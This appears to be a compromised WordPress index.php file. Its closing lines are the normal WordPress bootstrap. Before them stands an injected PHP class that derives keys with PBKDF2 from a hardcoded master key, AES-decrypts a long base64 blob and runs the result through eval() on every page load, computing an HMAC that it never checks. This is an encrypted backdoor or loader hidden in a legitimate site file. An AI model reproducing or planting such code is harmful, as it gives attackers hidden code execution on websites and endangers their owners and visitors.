private $masterKey; private $iterations = 10000; private $cipher = 'aes-256-cbc'; private $hmacAlgo = 'sha256'; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); eval($decrypted); define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';